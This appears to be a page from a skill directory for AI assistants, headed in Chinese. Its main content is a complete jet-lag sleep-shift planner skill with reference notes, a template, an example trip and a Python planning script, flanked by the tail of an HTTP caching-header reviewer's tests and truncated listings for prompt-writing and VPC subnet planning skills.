ok("unhashed css", kind_of("https://x/styles.css", "text/css") == ("asset", False))
ok("html by content type", kind_of("https://x/", "text/html; charset=utf-8")[0] == "html")
ok("api by json", kind_of("https://x/api/cart", "application/json")[0] == "api")
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=31536000, immutable", "ETag: \"a\"")
ok("ideal hashed asset clean", not codes(i) and i["browser_ttl_s"] == 31536000)
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=3600")
ok("hashed short ttl", "HASHED_SHORT_TTL" in codes(i))
i = one("https://x/main.js", "Cache-Control: public, max-age=31536000, immutable")
ok("immutable unhashed", "IMMUTABLE_UNHASHED" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: max-age=86400")
ok("html long ttl", "HTML_LONG_TTL" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache", "ETag: \"1\"")
ok("html no-cache with etag clean", not codes(i) and i["browser_ttl_s"] == 0)
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache")
ok("no validator", "NO_VALIDATOR" in codes(i))
i = one("https://x/login", "Content-Type: text/html", "Cache-Control: public, max-age=600", "Set-Cookie: sid=1")
ok("public with cookie", "PUBLIC_WITH_COOKIE" in codes(i))
i = review(parse_blocks("### GET https://x/api/me\n> Authorization: Bearer t\nHTTP/2 200\ncontent-type: application/json\ncache-control: public, s-maxage=300")[0])
ok("auth shared cache", "AUTH_SHARED_CACHE" in codes(i) and i["shared_ttl_s"] == 300)
i = review(parse_blocks("### GET https://x/api/me\n> Cookie: sid=1\nHTTP/2 200\ncontent-type: application/json\ncache-control: max-age=60")[0])
ok("personal not private", "PERSONAL_NOT_PRIVATE" in codes(i))
i = one("https://x/api/me", "Content-Type: application/json", "Cache-Control: private, max-age=60")
ok("private hides from cdn", i["shared_ttl_s"] == 0 and i["browser_ttl_s"] == 60)
i = one("https://x/a.css", "Cache-Control: no-store, max-age=60")
ok("no-store conflict and asset no caching", {"NO_STORE_CONFLICT", "ASSET_NO_CACHING"} <= codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: *")
ok("vary star", "VARY_STAR" in codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: Accept-Encoding, User-Agent")
ok("vary user-agent fragments", "VARY_FRAGMENTS" in codes(i))
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Last-Modified: Mon, 11 Oct 2026 10:00:00 GMT")
ok("heuristic 10% of 10 days = 1 day", "HEURISTIC_ONLY" in codes(i) and i["browser_ttl_s"] == 86400)
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Expires: Wed, 21 Oct 2026 11:00:00 GMT")
ok("expires only gives 1h", "EXPIRES_ONLY" in codes(i) and i["browser_ttl_s"] == 3600)
i = one("https://x/", "Content-Type: text/html", "Pragma: no-cache")
ok("pragma only", "PRAGMA_ONLY" in codes(i))
i = review(parse_blocks("### GET https://x/a.css\nHTTP/1.1 503 Service Unavailable\ncache-control: public, max-age=3600")[0])
ok("error cached", "ERROR_CACHED" in codes(i))
ok("repeated cache-control merged", parse_blocks("### GET https://x/a\nHTTP/1.1 200\ncache-control: public\ncache-control: max-age=5")[0]["headers"]["cache-control"] == "public, max-age=5")
try:
parse_blocks("HTTP/1.1 200 OK\n")
ok("missing ### rejected", False)
except CacheError:
ok("missing ### rejected", True)
ok("fmt_s", fmt_s(31536000) == "365d" and fmt_s(600) == "10m" and fmt_s(45) == "45s" and fmt_s(699840) == "8.1d")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Review HTTP caching headers.")
ap.add_argument("file", nargs="?", help="responses text file ('-' for stdin)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("responses file required (or --self-test)")
try:
text = sys.stdin.read() if a.file == "-" else open(a.file, encoding="utf-8").read()
r = audit(text)
except (OSError, CacheError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())
根据航班时刻与惯常睡眠时间生成逐日时差计划（含夏令时感知）。
---
name: jet-lag-sleep-shift-planner
description: 根据航班时刻与惯常睡眠时间生成逐日时差计划（含夏令时感知）。
---
# 时差睡眠调整规划器
你是「时差睡眠调整规划器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Jet Lag Sleep Shift Planner
You help travelers arrive rested. From real flight times and their normal sleep schedule, you build a practical day-by-day plan: when to sleep, when to get bright light and when to avoid it, when to stop coffee, whether to sleep on the plane, and whether shifting before the trip is worth it. You explain the why in plain words and keep the plan realistic for the person's calendar.
## Files in this skill
- `scripts/jetlag_plan.py` - computes the shift, strategy, pre-trip days, in-flight sleep and a daily table of sleep, light, caffeine and nap times (Python 3 standard library only; IANA zones via zoneinfo or fixed offsets like UTC+3)
- `references/body-clock-basics.md` - body clock, adjustment rates, the light rule around CBTmin, meals, caffeine, naps, melatonin caution, when to see a doctor
- `references/trip-strategies.md` - strategy by trip length, pre-trip shifting, on the plane, arrival day, the return trip, a checklist
- `templates/jet-lag-plan.md` - a one-page plan to fill in or print
- `examples/istanbul-to-los-angeles.json` - an 11-hour westward conference trip in November, with a return trip
## Workflow
### 1. Gather the trip
Ask for origin and destination cities (or time zones), departure local time and date, arrival local time and date, the usual bedtime and wake time, how many days they can shift before the trip (0-3), how long they stay, and any important events (talks, meetings, a wedding). Also ask if they have health conditions or time-critical medication; if yes, add a reminder to plan it with a doctor or pharmacist.
### 2. Run the planner
```
python3 scripts/jetlag_plan.py examples/istanbul-to-los-angeles.json
python3 scripts/jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 --arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 scripts/jetlag_plan.py trip.json --json
python3 scripts/jetlag_plan.py --self-test
```
If the tz database is missing (some Windows Pythons), use offsets like `UTC+3` and `-8`, or `pip install tzdata`. Exit code 2 means bad input.
### 3. Shape the plan
Use `references/trip-strategies.md`: for SHORT_TRIP, recommend staying on home time; for SMALL_SHIFT, no special plan. Move important events into the body's good hours or suggest arriving earlier. Explain the light windows with `references/body-clock-basics.md` and give practical ways to follow them (morning walk, window seat at breakfast, sunglasses on the commute, dim lights in the hotel).
### 4. Deliver
Fill `templates/jet-lag-plan.md` with the table and the 3-5 most important actions. Offer to add the sleep and light windows as calendar reminders.
## Example result
For `examples/istanbul-to-los-angeles.json` (Istanbul -> Los Angeles on 2026-11-03, after US DST ends): -11 h, delay at about 1.5 h/day; 2 pre-trip days with bedtime 00:30 then 01:30; sleep on the plane during LA night 02:40-07:00; about 6 days to adjust after arrival, starting with sleep 21:30-05:30 and bright light 16:30-19:30 on day 0, back to 23:30-07:30 on day 6; the return trip (+11 h) is planned the long way round as a 13 h delay, about 9 days.
## Rules
- This is general wellness guidance, not medical advice; do not give melatonin or sleep medication doses.
- Respect the person's constraints (kids, work hours); a partial plan they follow beats a perfect one they skip.
- Never suggest unsafe sleep deprivation or driving while very sleepy; recommend a nap or a taxi instead.
- Use local times in every table and say which clock (home or destination) each section uses.
FILE:references/body-clock-basics.md
# Body Clock Basics for Travelers
## Why jet lag happens
Your body clock (circadian rhythm) runs on home time and shifts only gradually. After crossing time zones, sleepiness, hunger, alertness and digestion stay on home time for days. Typical symptoms: trouble falling asleep or waking at 3 a.m., daytime sleepiness, poor focus, upset stomach.
## How fast the clock moves
| Direction | Clock change | Typical rate | Feels like |
|---|---|---|---|
| East (Istanbul -> Tokyo) | advance (earlier) | about 1 h per day | harder; trouble falling asleep at night |
| West (Istanbul -> Los Angeles) | delay (later) | about 1.5 h per day | easier; sleepy early evening, awake at 4 a.m. |
These are averages; age, sleep debt, alcohol and light exposure change them.
For shifts of about 10-12 hours east, the clock often adjusts "the long way round" by delaying instead (for example +11 h east becomes -13 h of delay at 1.5 h/day = 9 days instead of 11). The planner picks whichever takes fewer days.
## The light rule
The strongest signal for the body clock is bright light. Its effect depends on timing relative to the **core body temperature minimum (CBTmin)**, which falls about 2-3 hours before your usual wake time (for a 07:30 riser, around 04:30 body time).
- Light in the ~3 hours **after** CBTmin moves the clock **earlier** (advance; needed when flying east).
- Light in the ~3 hours **before** CBTmin moves the clock **later** (delay; needed when flying west).
- Light at the wrong time pushes the clock the wrong way, which is why the plan also lists times to avoid bright light (sunglasses outdoors, dim indoor lights, screen night mode).
Because CBTmin moves each day, the windows move too. When a window falls during sleep, the planner moves it to the nearest waking time.
## Other signals
- **Sleep timing:** keep the plan's sleep window, even if you cannot sleep at first; rest in the dark.
- **Meals:** eat on local time from the first day; a big breakfast in daylight helps when advancing.
- **Exercise:** morning exercise helps advance, early-evening exercise helps delay; avoid hard workouts within 2 hours of bed.
- **Caffeine:** helps alertness but stays in the body for 5-6 hours (half-life); stop about 8 hours before bed.
- **Naps:** up to 20 minutes, before the plan's "naps end by" time. Long naps anchor you to home time.
- **Alcohol:** makes sleep worse and dehydration worse; skip it on the flight.
- **Melatonin:** often used for eastward trips, but timing and dose matter and it is a medicine in many countries. Ask a doctor or pharmacist; the planner gives no dosing.
## When to see a doctor first
Pregnancy, epilepsy, bipolar disorder (light and sleep changes can trigger episodes), diabetes with insulin (meal and dose timing across zones), heart conditions, sleep apnea, or regular medication taken at fixed times (contraceptive pills, anticoagulants, epilepsy drugs). Plan the medication schedule with a professional.
FILE:references/trip-strategies.md
# Trip Strategies
## Pick the strategy by trip length and shift
| Trip | Shift | Strategy |
|---|---|---|
| 1-2 days | any | Stay on home time. Book meetings inside your home daytime, keep home sleep hours, use caffeine and short naps. |
| 3-5 days | up to 3 h | Switch to local time on arrival; no pre-trip shift needed. |
| 3-5 days | 4+ h | Partial shift: 1-2 pre-trip days and the light plan for the first days; accept some lag. |
| 6+ days | 4+ h | Full plan: 2-3 pre-trip days, light plan until adjusted. |
| Important event on day 1-2 | 6+ h | Arrive earlier if possible (one day per 1-1.5 h of shift is ideal), or schedule the event in the body's best hours. |
## Pre-trip shifting
Move bedtime and wake time 1 hour per day toward the destination for 1-3 days (earlier for east, later for west), with light at the planner's "seek" times. Even 2 hours of pre-shift removes 1-2 days of jet lag. Stop if it hurts work or family routines; partial is fine.
## On the plane
- Set your watch and phone to destination time when you board.
- If the flight crosses destination night, sleep then: eye mask, ear plugs or noise-cancelling headphones, neck pillow, no alcohol. Otherwise stay awake with light and short naps only.
- Drink water regularly; walk and stretch every 1-2 hours.
- Eat at destination meal times when practical.
## Arrival day
- Westward evening arrival: go outside in daylight if any is left, stay up until the planned bedtime (a 20-minute nap before the cut-off is fine).
- Eastward morning arrival: follow the seek/avoid light windows; if you must work, put bright tasks in the seek window.
## Coming home
The return trip is a new shift in the opposite direction. Use the planner again with the return flight; plan 1-2 easy days after landing if you can.
## Business traveler checklist
- [ ] Planner run with real flight times
- [ ] Calendar: no critical meetings in the body's night
- [ ] Hotel: blackout curtains or eye mask; ask for a quiet room
- [ ] Light: sunglasses for avoid windows, a walk or a light box for seek windows
- [ ] Medication timing checked with a pharmacist
FILE:templates/jet-lag-plan.md
# Jet Lag Plan - <traveler> - <origin> to <destination>
**Flight:** <depart local> -> <arrive local> (<hours> h) **Time difference:** <+/- h> **Strategy:** <advance / delay / stay on home time>
**Usual sleep:** <bedtime>-<wake> **Pre-trip shift:** <h> **Expected days to adjust:** <n>
## Before the trip
| Date | Sleep | Bright light | Avoid light | Notes |
|---|---|---|---|---|
| | | | | |
## Flight
- Sleep on board: <times or "stay awake">
- Meals: <destination times>
- Watch set to destination time: [ ]
## At the destination
| Date | Sleep | Bright light | Avoid light | Caffeine until | Naps end by | Key events |
|---|---|---|---|---|---|---|
| | | | | | | |
## Packing
- [ ] Eye mask and ear plugs - [ ] Sunglasses - [ ] Water bottle - [ ] Medication schedule (checked with a professional)
## Return
- Shift: <h>, about <n> days to readjust; easy days planned: <dates>
FILE:examples/istanbul-to-los-angeles.json
{
"traveler": "conference trip, usual sleep 23:30-07:30",
"from_tz": "Europe/Istanbul",
"to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25",
"bedtime": "23:30",
"wake": "07:30",
"pre_trip_days": 2,
"stay_days": 8,
"return_trip": true
}
FILE:scripts/jetlag_plan.py
#!/usr/bin/env python3
"""Jet lag sleep shift planner (Python 3 standard library only).
Input: a trip JSON file (or the same fields as command-line flags):
{"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40", "arrive": "2026-11-03T17:25",
"bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 8}
Time zones: IANA names (zoneinfo, DST-aware; needs the system tz database or the tzdata
package) or fixed offsets like "UTC+3", "+05:30", "-8". depart is local time at the origin,
arrive is local time at the destination.
Model (rules of thumb used by sleep clinics, not a medical device):
- shift = destination offset - origin offset, normalized to -12..+12 h (+ = east).
- the body clock moves about 1 h/day when advancing (eastward) and 1.5 h/day when
delaying (westward); for big eastward shifts the planner picks the direction that
takes fewer days (often delaying "the long way round").
- optional pre-trip shift: 1 h/day for pre_trip_days, toward the destination.
- core body temperature minimum (CBTmin) ~3 h before usual wake time. Light in the 3 h
after CBTmin advances the clock, light in the 3 h before it delays the clock.
- planned sleep is a compromise: target local bedtime moved toward body time by
min(2 h, half the remaining gap). Caffeine stops 8 h and naps (max 20 min) end 7 h
before planned bedtime.
Usage:
python3 jetlag_plan.py trip.json
python3 jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 \
--arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 jetlag_plan.py trip.json --json
python3 jetlag_plan.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import datetime as dt
import json
import math
import re
import sys
ADVANCE_RATE = 1.0
DELAY_RATE = 1.5
class TripError(ValueError):
pass
def parse_tz(name):
s = str(name).strip()
m = re.fullmatch(r"(?:UTC|GMT)?\s*([+-])(\d{1,2})(?::?(\d{2}))?", s, re.I)
if m:
sign = 1 if m.group(1) == "+" else -1
mins = int(m.group(2)) * 60 + int(m.group(3) or 0)
if mins > 14 * 60:
raise TripError(f"offset out of range: {s!r}")
return dt.timezone(dt.timedelta(minutes=sign * mins), s)
if s.upper() in ("UTC", "GMT", "Z"):
return dt.timezone.utc
try:
from zoneinfo import ZoneInfo
return ZoneInfo(s)
except Exception:
raise TripError(f"unknown time zone {s!r}; use an IANA name like Europe/Istanbul or an offset like UTC+3")
def parse_hm(s, field):
m = re.fullmatch(r"(\d{1,2}):(\d{2})", str(s).strip())
if not m or int(m.group(1)) > 23 or int(m.group(2)) > 59:
raise TripError(f"{field} must be HH:MM, got {s!r}")
return int(m.group(1)) * 60 + int(m.group(2))
def parse_local(s, tz, field):
try:
t = dt.datetime.fromisoformat(str(s).strip())
except ValueError:
raise TripError(f"{field} must be YYYY-MM-DDTHH:MM, got {s!r}")
if t.tzinfo is not None:
t = t.replace(tzinfo=None)
return t.replace(tzinfo=tz)
def hm(mins):
mins = round(mins) % 1440
return f"{mins // 60:02d}:{mins % 60:02d}"
def offset_h(t):
return t.utcoffset().total_seconds() / 3600
def choose_direction(shift):
"""shift in -12..12 (east positive). Return (signed hours to move the body, rate, label)."""
if shift == 0:
return 0.0, ADVANCE_RATE, "none"
if shift > 0:
adv_days = math.ceil(shift / ADVANCE_RATE)
alt = shift - 24
del_days = math.ceil(-alt / DELAY_RATE)
if del_days < adv_days:
return alt, DELAY_RATE, "delay (long way round)"
return shift, ADVANCE_RATE, "advance"
del_days = math.ceil(-shift / DELAY_RATE)
alt = shift + 24
adv_days = math.ceil(alt / ADVANCE_RATE)
if adv_days < del_days:
return alt, ADVANCE_RATE, "advance (long way round)"
return shift, DELAY_RATE, "delay"
def night_overlap(start_utc, end_utc, tz, night_start=22 * 60, night_end=7 * 60):
"""Return list of (start_local, end_local) pieces of the flight inside destination nights."""
pieces = []
t = start_utc
step = dt.timedelta(minutes=5)
cur = None
while t < end_utc:
loc = t.astimezone(tz)
m = loc.hour * 60 + loc.minute
is_night = m >= night_start or m < night_end
if is_night and cur is None:
cur = loc
if not is_night and cur is not None:
pieces.append((cur, loc))
cur = None
t += step
if cur is not None:
pieces.append((cur, end_utc.astimezone(tz)))
return pieces
def overlap(a0, a1, b0, b1):
"""Minutes of overlap between [a0, a1) and [b0, b1) on a 24 h circle."""
best = 0
for k in (-1440, 0, 1440):
best += max(0, min(a1, b1 + k) - max(a0, b0 + k))
return best
def light_windows(cbt, sign, sleep_start, sleep_len):
"""Seek/avoid windows around CBTmin, moved or clipped to waking hours.
sign > 0 (advance): seek 3 h after CBTmin, avoid 3 h before; sign < 0 (delay): the reverse.
A seek window that falls into planned sleep moves to the nearest waking edge (after wake
when advancing, before bedtime when delaying). Avoid windows are clipped to waking time."""
sleep_end = sleep_start + sleep_len
if sign > 0:
seek, avoid = (cbt, cbt + 180), (cbt - 180, cbt)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_end, sleep_end + 180)
else:
seek, avoid = (cbt - 180, cbt), (cbt, cbt + 180)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_start - 180, sleep_start)
ov = overlap(avoid[0], avoid[1], sleep_start, sleep_end)
if ov >= 180:
avoid_s = "asleep"
elif ov:
# keep the waking part of the avoid window
a0, a1 = avoid
if overlap(a0, a0 + 1, sleep_start, sleep_end):
a0 = a1 - (180 - ov)
else:
a1 = a0 + (180 - ov)
avoid_s = f"{hm(a0)}-{hm(a1)}"
else:
avoid_s = f"{hm(avoid[0])}-{hm(avoid[1])}"
return f"{hm(seek[0])}-{hm(seek[1])}", avoid_s
def plan(trip):
for k in ("from_tz", "to_tz", "depart", "arrive"):
if not trip.get(k):
raise TripError(f"missing {k}")
ftz, ttz = parse_tz(trip["from_tz"]), parse_tz(trip["to_tz"])
dep = parse_local(trip["depart"], ftz, "depart")
arr = parse_local(trip["arrive"], ttz, "arrive")
if arr.astimezone(dt.timezone.utc) <= dep.astimezone(dt.timezone.utc):
raise TripError("arrive must be after depart (check the dates and time zones)")
bed = parse_hm(trip.get("bedtime", "23:00"), "bedtime")
wake = parse_hm(trip.get("wake", "07:00"), "wake")
sleep_len = (wake - bed) % 1440
if not 4 * 60 <= sleep_len <= 12 * 60:
raise TripError("bedtime to wake must be 4-12 hours")
pre = int(trip.get("pre_trip_days", 0))
stay = int(trip.get("stay_days", 7))
if pre < 0 or pre > 4 or stay < 1:
raise TripError("pre_trip_days must be 0-4 and stay_days at least 1")
shift = offset_h(arr) - offset_h(dep.astimezone(ftz))
shift = ((shift + 12) % 24) - 12 if abs(shift) > 12 else shift
if shift == -12:
shift = 12.0
move, rate, direction = choose_direction(shift)
sign = 1 if move > 0 else -1
flags = []
if abs(shift) <= 2:
flags.append("SMALL_SHIFT: 2 h or less; most people adapt within a day, keep usual habits on local time")
if stay <= 2 and abs(shift) >= 3:
flags.append("SHORT_TRIP: 2 days or fewer; consider staying on home time and scheduling meetings inside your home daytime")
if "long way round" in direction:
flags.append(f"LONG_WAY_ROUND: a {shift:+g} h shift is planned as {move:+g} h, which usually takes fewer days")
pre_used = min(pre, int(abs(move))) if move else 0
pre_days = []
for i in range(1, pre_used + 1):
b = bed - sign * 60 * i
cbt = wake - 180 - sign * 60 * i
seek_s, avoid_s = light_windows(cbt, sign, b, sleep_len)
pre_days.append({"day": f"pre {i - pre_used - 1}", "date": str((dep.date() - dt.timedelta(days=pre_used - i + 1))),
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s,
"avoid_light": avoid_s, "clock": "home time"})
body = sign * pre_used # hours already moved toward destination
total = abs(move)
days_needed = math.ceil(max(0.0, total - pre_used) / rate) if move else 0
days = []
d = 0
while True:
remaining = move - body # signed hours the body is still away from local time
gap = abs(remaining)
comp = min(120, gap * 60 / 2)
# remaining > 0: body clock is behind local time, so it wants to sleep later (and vice versa)
b = bed + (comp if remaining > 0 else -comp) if gap else bed
cbt_local = (wake - 180) + remaining * 60
if gap < 0.5:
seek_s, avoid_s = "daylight as usual", "-"
else:
seek_s, avoid_s = light_windows(cbt_local, sign, b, sleep_len)
if remaining > 0:
status = f"{gap:g} h behind local time"
elif remaining < 0:
status = f"{gap:g} h ahead of local time"
else:
status = "adjusted"
days.append({"day": d, "date": str(arr.date() + dt.timedelta(days=d)), "body_clock": status,
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s, "avoid_light": avoid_s,
"caffeine_until": hm(b - 480), "naps_end_by": hm(b - 420)})
if gap == 0 or d + 1 >= stay:
break
body = body + sign * min(rate, gap)
d += 1
flight_h = (arr.astimezone(dt.timezone.utc) - dep.astimezone(dt.timezone.utc)).total_seconds() / 3600
nights = night_overlap(dep.astimezone(dt.timezone.utc), arr.astimezone(dt.timezone.utc), ttz)
nights = [(a, b) for a, b in nights if (b - a).total_seconds() >= 3600]
if nights:
inflight = "sleep during destination night: " + "; ".join(f"{a:%a %H:%M}-{b:%H:%M}" for a, b in nights)
else:
inflight = "flight is during destination daytime: stay awake, get daylight/screen light, at most a 20-minute nap"
res = {"from_tz": str(trip["from_tz"]), "to_tz": str(trip["to_tz"]), "shift_h": shift, "plan_move_h": move,
"direction": direction, "rate_h_per_day": rate, "pre_trip_shift_h": pre_used,
"days_to_adjust_after_arrival": days_needed, "flight_h": round(flight_h, 2),
"arrive_local": arr.strftime("%Y-%m-%d %H:%M"), "in_flight": inflight, "flags": flags,
"pre_trip": pre_days, "days": days}
if trip.get("return_trip"):
back, brate, bdir = choose_direction(-shift)
res["return"] = {"shift_h": -shift, "direction": bdir,
"days_to_adjust": math.ceil(abs(back) / brate) if back else 0}
return res
def to_markdown(r):
out = [f"# Jet lag plan: {r['from_tz']} -> {r['to_tz']}", "",
f"- Time difference: {r['shift_h']:+g} h ({'east' if r['shift_h'] > 0 else 'west' if r['shift_h'] < 0 else 'none'}); "
f"plan: {r['direction']} {abs(r['plan_move_h']):g} h at about {r['rate_h_per_day']:g} h/day",
f"- Pre-trip shift: {r['pre_trip_shift_h']} h; about {r['days_to_adjust_after_arrival']} day(s) to adjust after arrival",
f"- Flight: {r['flight_h']:g} h, arriving {r['arrive_local']} local; {r['in_flight']}"]
if "return" in r:
out.append(f"- Return trip: {r['return']['shift_h']:+g} h, {r['return']['direction']}, about {r['return']['days_to_adjust']} day(s) to readjust")
for f in r["flags"]:
out.append(f"- **{f.split(':')[0]}**:{f.split(':', 1)[1]}")
if r["pre_trip"]:
out += ["", "## Before you fly (home time)", "| Day | Date | Sleep | Seek bright light | Avoid bright light |", "|---|---|---|---|---|"]
for p in r["pre_trip"]:
out.append(f"| {p['day']} | {p['date']} | {p['sleep']} | {p['seek_light']} | {p['avoid_light']} |")
out += ["", "## At the destination (local time)",
"| Day | Date | Body clock | Sleep | Seek bright light | Avoid bright light | Caffeine until | Naps end by |",
"|---|---|---|---|---|---|---|---|"]
for d in r["days"]:
out.append(f"| {d['day']} | {d['date']} | {d['body_clock']} | {d['sleep']} | {d['seek_light']} | {d['avoid_light']} | {d['caffeine_until']} | {d['naps_end_by']} |")
out += ["", "Light windows that fall inside your sleep time can be skipped; use sunglasses outdoors during 'avoid' windows.",
"Rules of thumb only. Ask a doctor or pharmacist before using melatonin or sleep medication."]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles", "depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25", "bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 10}
ok("fixed offset parse", parse_tz("UTC+3").utcoffset(None) == dt.timedelta(hours=3) and parse_tz("+05:30").utcoffset(None) == dt.timedelta(hours=5, minutes=30))
ok("negative offset parse", parse_tz("-8").utcoffset(None) == dt.timedelta(hours=-8))
r = plan(base)
ok("IST->LA after US DST ends is -11 h", r["shift_h"] == -11)
ok("westward plan delays", r["direction"] == "delay" and r["plan_move_h"] == -11)
ok("pre-trip 2 h used", r["pre_trip_shift_h"] == 2 and len(r["pre_trip"]) == 2)
ok("days to adjust ceil(9/1.5)=6", r["days_to_adjust_after_arrival"] == 6)
ok("pre-trip bedtime later for westward", r["pre_trip"][0]["sleep"].startswith("00:30") and r["pre_trip"][1]["sleep"].startswith("01:30"))
ok("day 0 body 9 h ahead", r["days"][0]["body_clock"] == "9 h ahead of local time")
ok("day 0 compromise bedtime 21:30", r["days"][0]["sleep"] == "21:30-05:30")
ok("delay: seek light before CBTmin", r["days"][0]["seek_light"] == "16:30-19:30")
ok("delay: avoid window clipped at bedtime", r["days"][0]["avoid_light"] == "19:30-21:30")
ok("delay: seek window moved before bedtime", r["days"][3]["seek_light"] == "18:30-21:30" and r["days"][3]["avoid_light"] == "asleep")
ok("pre-trip delay light in the evening", r["pre_trip"][0]["seek_light"] == "21:30-00:30")
ok("overlap on circle", overlap(1380, 1500, 0, 60) == 60 and overlap(600, 700, 0, 60) == 0)
ok("plan ends adjusted", r["days"][-1]["body_clock"] == "adjusted" and r["days"][-1]["sleep"] == "23:30-07:30")
ok("plan length 7 days (0..6)", len(r["days"]) == 7)
ok("flight of 14.75 h", r["flight_h"] == 14.75)
r2 = plan(dict(base, to_tz="America/Los_Angeles", depart="2026-10-20T13:40", arrive="2026-10-20T16:25"))
ok("IST->LA during US DST is -10 h", r2["shift_h"] == -10)
r3 = plan(dict(base, to_tz="Asia/Tokyo", depart="2026-11-10T01:30", arrive="2026-11-10T19:05", pre_trip_days=3))
ok("IST->Tokyo +6 advance", r3["shift_h"] == 6 and r3["direction"] == "advance" and r3["days_to_adjust_after_arrival"] == 3)
ok("advance: seek light moved to after wake", r3["days"][0]["seek_light"] == "09:00-12:00" and r3["days"][0]["avoid_light"] == "asleep")
ok("pre-trip bedtime earlier for eastward", r3["pre_trip"][0]["sleep"].startswith("22:30"))
ok("+11 east goes long way round", choose_direction(11) == (-13, DELAY_RATE, "delay (long way round)"))
ok("+9 east stays advance", choose_direction(9)[2] == "advance")
ok("-12 normalized to +12 then delay -12", choose_direction(12)[0] == -12)
r4 = plan(dict(base, to_tz="Europe/Berlin", depart="2026-11-03T08:00", arrive="2026-11-03T09:00", stay_days=2))
ok("small shift flag", any(f.startswith("SMALL_SHIFT") for f in r4["flags"]))
r5 = plan(dict(base, stay_days=2))
ok("short trip flag", any(f.startswith("SHORT_TRIP") for f in r5["flags"]) and len(r5["days"]) == 2)
ok("in-flight sleep in LA night 02:40-07:00", r["in_flight"].endswith("Tue 02:40-07:00"))
ok("Tokyo daytime flight: stay awake", "destination daytime" in r3["in_flight"])
ok("caffeine 8 h before bed", r["days"][-1]["caffeine_until"] == "15:30" and r["days"][-1]["naps_end_by"] == "16:30")
for bad, label in ((dict(base, to_tz="Mars/Olympus"), "unknown tz rejected"), (dict(base, bedtime="25:00"), "bad bedtime rejected"),
(dict(base, arrive="2026-11-02T10:00"), "arrival before departure rejected"), (dict(base, pre_trip_days=9), "pre-trip >4 rejected")):
try:
plan(bad)
ok(label, False)
except TripError:
ok(label, True)
ok("hm wraps midnight", hm(-30) == "23:30" and hm(1500) == "01:00")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan sleep and light timing to beat jet lag.")
ap.add_argument("file", nargs="?", help="trip JSON")
ap.add_argument("--from", dest="from_tz")
ap.add_argument("--to", dest="to_tz")
ap.add_argument("--depart")
ap.add_argument("--arrive")
ap.add_argument("--bedtime")
ap.add_argument("--wake")
ap.add_argument("--pre-days", type=int, dest="pre_trip_days")
ap.add_argument("--stay", type=int, dest="stay_days")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
trip = json.load(open(a.file, encoding="utf-8")) if a.file else {}
for k in ("from_tz", "to_tz", "depart", "arrive", "bedtime", "wake", "pre_trip_days", "stay_days"):
if getattr(a, k) is not None:
trip[k] = getattr(a, k)
r = plan(trip)
except (OSError, TripError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())为 ChatGPT 等语言模型创作高质量、通用提示词。
1---2name: god-of-prompt3description: 为 ChatGPT 等语言模型创作高质量、通用提示词。45---67# 提示词之神（God of Prompt）89你是「提示词之神（God of Prompt）」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。10...+55行
为 AWS/Azure/GCP/本地规划并检查 IPv4 子网划分。
---
name: vpc-subnet-cidr-planner
description: 为 AWS/Azure/GCP/本地规划并检查 IPv4 子网划分。
---
# VPC 子网 CIDR 规划器
你是「VPC 子网 CIDR 规划器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# VPC Subnet CIDR Planner
You help engineers carve a network into subnets that fit today, leave room to grow, and never collide with anything they will need to route to later. You turn "we need public, app and data subnets in two zones" into exact CIDR blocks, explain the numbers, and catch the overlaps that are painful to fix once workloads are running.
## Files in this skill
